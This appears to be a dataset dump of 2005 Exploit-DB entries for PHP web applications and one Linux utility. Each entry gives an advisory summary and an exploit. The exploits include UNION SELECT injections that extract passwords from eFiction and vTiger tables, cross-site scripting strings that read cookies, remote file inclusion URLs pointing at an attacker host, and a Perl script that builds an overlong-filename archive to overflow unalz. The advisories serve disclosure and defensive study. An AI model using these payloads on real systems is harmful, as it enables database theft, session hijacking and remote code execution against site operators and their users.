QLWD/code_shield huggingface dataset:
标题: Softbiz Resource Repository Script - 'showcats.php?sbcat_id' SQL Injection EDB-ID: 26614 CVE: 2005-3879 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15585/info
 
Softbiz Resource Repository Script is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/showcats.php?sbcat_id=[SQL] URL: https://www.exploit-db.com/exploits/26614
标题: Top Music Module 3.0 - SQL Injection EDB-ID: 26607 CVE: 2005-4781 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15581/info

Top Music Module for PHP-Nuke is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/modules.php?name=topMusic&op=artist&idartist=[SQL]

/modules.php?name=topMusic&op=song&idartist=1&idalbum=1&idsong=[SQL]

/modules.php?name=topMusic&op=song&idartist=1&idalbum=[SQL] URL: https://www.exploit-db.com/exploits/26607
标题: Enterprise Heart Enterprise Connector 1.0.2 - 'messages.php?messageid' SQL Injection EDB-ID: 26603 CVE: 2005-3875 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15578/info
 
Enterprise Connector is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

/messages.php?action=delete&messageid=[SQL] URL: https://www.exploit-db.com/exploits/26603
标题: Babe Logger 2.0 - 'comments.php?id' SQL Injection EDB-ID: 26606 CVE: 2005-3920 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15580/info
 
Babe Logger is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/comments.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26606
标题: PBLang Bulletin Board System 4.65 - Multiple HTML Injection Vulnerabilities EDB-ID: 26597 CVE: 2005-3919 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15573/info

PBLang is prone to multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Other similar HTML injection issues have been documented for PBLang version 4.65. This issue may be related to those documented in the following BIDs:
- 14728, PBLang Bulletin Board System Multiple Remote Vulnerabilities
- 14766, PBLang Bulletin Board System HTML Injection Vulnerability 

Input to the "URL" field:
'';!--"<script>alert(String.fromCharCode(88,83,83)); </script>

Input to the email field:
dude@what.com'';!--"<mycode> URL: https://www.exploit-db.com/exploits/26597
标题: Zainu 2.0 - SQL Injection EDB-ID: 26604 CVE: 2005-3884 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15579/info

Zainu is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?in=song&term=[SQL]&action=search&start=[SQL] URL: https://www.exploit-db.com/exploits/26604
标题: Babe Logger 2.0 - 'index.php?gal' SQL Injection EDB-ID: 26605 CVE: 2005-3920 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15580/info

Babe Logger is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.php?gal=[SQL] URL: https://www.exploit-db.com/exploits/26605
标题: PHPGreetz 0.99 - Remote File Inclusion EDB-ID: 26599 CVE: 2005-3861 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15575/info

phpGreetz is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/path_to_phpgreetz/content.php?content=http://[attacker_url] URL: https://www.exploit-db.com/exploits/26599
标题: AgileBill 1.4.92 - Product_Cat SQL Injection EDB-ID: 26596 CVE: 2005-3827 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/15572/info

AgileBill is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly santize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.4.92 is reported to be affected; earlier versions may also be vulnerable. 

http://www.example.com/?_page=product_cat:t_Paged%20Listing&id=1[SQL] URL: https://www.exploit-db.com/exploits/26596
标题: Unalz 0.x - Archive Filename Buffer Overflow EDB-ID: 26601 CVE: 2005-3862 类型: DOS 平台: LINUX 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15577/info

The 'unalz' utility is prone to a buffer-overflow vulnerability. This issue is exposed when the application extracts an ALZ archive that contains a file with a long name.

An attacker could exploit this vulnerability to execute arbitrary code in the context of the user who extracts a malicious archive. 

#!/usr/bin/perl --

# alzgen
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

die "usage: $0 <length> <filename>\n" unless @ARGV == 2;
$len = shift;
$lenhi = int($len / 256);
$lenlo = $len - ($lenhi * 256);
$file = shift;

open(OUT, ">$file") or die "can't open file!\n";
print OUT "\x42\x4c\x5a\x01" .        # SIG_LOCAL_FILE_HEADER
          chr($lenlo) . chr($lenhi) . # filename length
          "\x00" x 7 .
          'U' x $len;
close OUT or die "can't close file!?!?\n"; URL: https://www.exploit-db.com/exploits/26601
标题: efiction 1.0/1.1/2.0 - 'sid' SQL Injection EDB-ID: 26593 CVE: 2005-4169 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/15568/info
  
eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.
  
These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.
  
eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*
http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,penname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/* URL: https://www.exploit-db.com/exploits/26593
标题: efiction 1.0/1.1/2.0 - 'titles.php' SQL Injection EDB-ID: 26592 CVE: 2005-4168 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/15568/info
 
eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.
 
These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.
 
eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,'<script>alert(document.cookie)</script>'
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/* URL: https://www.exploit-db.com/exploits/26592
标题: Enterprise Heart Enterprise Connector 1.0.2 - 'send.php?messageid' SQL Injection EDB-ID: 26602 CVE: 2005-3875 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/15578/info

Enterprise Connector is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

/send.php?messageid=[SQL] URL: https://www.exploit-db.com/exploits/26602
标题: Athena PHP Website Administration 0.1 - Remote File Inclusion EDB-ID: 26598 CVE: 2005-3860 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15574/info

Athena PHP Website Administration is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/path_to_athena/athena.php?athena_dir=http://[attacker_url] URL: https://www.exploit-db.com/exploits/26598
标题: IsolSoft Support Center 2.2 - Multiple SQL Injections EDB-ID: 26595 CVE: 2005-3838 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/15570/info

Support Center is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These issues are reported to affect Support Center version 2.2; earlier versions may also be vulnerable. 

http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=any&Priority=any&lorder=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=any&Priority=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=&Category=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=[SQL]
http://www.example.com/search.php?field=[SQL] URL: https://www.exploit-db.com/exploits/26595
标题: Q-News 2.0 - Remote File Inclusion EDB-ID: 26600 CVE: 2005-3859 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/15576/info

Q-News is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

http://www.example.com/path_to_qnews/q-news.php?id=http://[attacker_url] URL: https://www.exploit-db.com/exploits/26600
标题: efiction 1.0/1.1/2.0 - 'uid' SQL Injection EDB-ID: 26594 CVE: 2005-4170 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/15568/info
   
eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.
   
These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.
   
eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/[path]/viewuser.php?uid='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/* URL: https://www.exploit-db.com/exploits/26594
标题: SoftBiz Web Hosting Directory Script 1.1 - 'email.php?h_id' SQL Injection EDB-ID: 26583 CVE: 2005-3817 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15561/info
   
Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/email.php?&h_id=[sql] URL: https://www.exploit-db.com/exploits/26583
标题: efiction 1.0/1.1/2.0 - 'titles.php' Cross-Site Scripting EDB-ID: 26591 CVE: 2005-4167 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/15568/info

eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.

These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.

eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected. 

http://www.example.com/efiction/titles.php?action=viewlist&let=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26591
标题: OvBB 0.x - 'thread.php?threadid' SQL Injection EDB-ID: 26589 CVE: 2005-3918 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15566/info

OvBB is prone to multiple SQL injection vulnerabilities.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

OvBB 0.08a and prior versions are reportedly affected. 

http://www.example.com/forums/thread.php?threadid=[SQL] URL: https://www.exploit-db.com/exploits/26589
标题: Comdev Vote Caster 3.1 - 'index.php' SQL Injection EDB-ID: 26587 CVE: 2005-3825 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15563/info

Comdev Vote Caster is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 3.1 and earlier are affected; other versions may also be vulnerable. 

http://www.example.com/index.php?pageaction=results&campaign_id=[SQL] URL: https://www.exploit-db.com/exploits/26587
标题: SoftBiz Web Hosting Directory Script 1.1 - 'review.php?sbres_id' SQL Injection EDB-ID: 26581 CVE: 2005-3817 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15561/info
 
Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/review.php?sbres_id=[sql] URL: https://www.exploit-db.com/exploits/26581
标题: FreeForum 1.0/1.1 - Multiple SQL Injections EDB-ID: 26576 CVE: 2005-3816 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/15559/info

freeForum is prone to multiple SQL injection vulnerabilities.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/freeForum/forum.php?cat=[SQL]
http://www.example.com/freeForum/forum.php?mode=thread&thread=[SQL] URL: https://www.exploit-db.com/exploits/26576
标题: vTiger CRM 4.2 - SQL Injection EDB-ID: 26586 CVE: 2005-3819 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15562/info
  
vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.
  
An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.
  
Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.
  
An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information. 

http://www.example.com/?ticket_title=&contact_name=&priority=&status=&action=index&query=true&module=HelpDesk&order_by=&sorder=ASC&viewname=0&button=Search&category=&date_crit=is&date=%27+UNION+SELECT+56%2CCONCAT%28user_name%2C+%22%3A%22%2C+user_password%29%2C+%22Open%22%2C%22Normal%22%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1+from+users+where+users.user_name+LIKE+%27 URL: https://www.exploit-db.com/exploits/26586
标题: SoftBiz Web Hosting Directory Script 1.1 - 'search_result.php?cid' SQL Injection EDB-ID: 26580 CVE: 2005-3817 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15561/info

Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/search_result.php?cid=[sql] URL: https://www.exploit-db.com/exploits/26580
标题: SoftBiz Web Hosting Directory Script 1.1 - 'browsecats.php?cid' SQL Injection EDB-ID: 26582 CVE: 2005-3817 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15561/info
  
Softbiz Web Host Directory Script is prone to multiple SQL injection vulnerabilities. These issues occur because the application fails to properly sanitize user-supplied input before using it in an SQL query.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Version 1.1 and earlier are affected; other versions may also be affected. 

http://www.example.com/browsecats.php?cid=[sql] URL: https://www.exploit-db.com/exploits/26582
标题: vTiger CRM 4.2 RSS Aggregation Module - Feed Cross-Site Scripting EDB-ID: 26585 CVE: 2005-3818 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15562/info
 
vtiger CRM is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
vTiger CRM is prone to multiple SQL injection, HTML injection, cross-site scripting and local file include vulnerabilities.
 
An attacker can exploit these issues to gain administrative access, retrieve username and password pairs, steal cookie-based authentication credentials and retrieve arbitrary local files in the context of the Web server process; other attacks are also possible.
 
Some of these issues may be related to those discussed in BID 11740 (SugarCRM Multiple Input Validation Vulnerabilities) discovered by James Bercegay and Damon Wood of the GulfTech Security Research Team, as vtiger is a fork of the SugarCRM project.
 
An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E/?[params] URL: https://www.exploit-db.com/exploits/26585
标题: Orca Forum 4.3 - 'forum.php' SQL Injection EDB-ID: 26588 CVE: 2005-3815 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15565/info

Orca Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forum.php?msg=[SQL] URL: https://www.exploit-db.com/exploits/26588
标题: OvBB 0.x - 'profile.php?userid' SQL Injection EDB-ID: 26590 CVE: 2005-3918 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/15566/info
 
OvBB is prone to multiple SQL injection vulnerabilities.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
OvBB 0.08a and prior versions are reportedly affected. 

http://www.example.com/forums/profile.php?userid=[SQL] URL: https://www.exploit-db.com/exploits/26590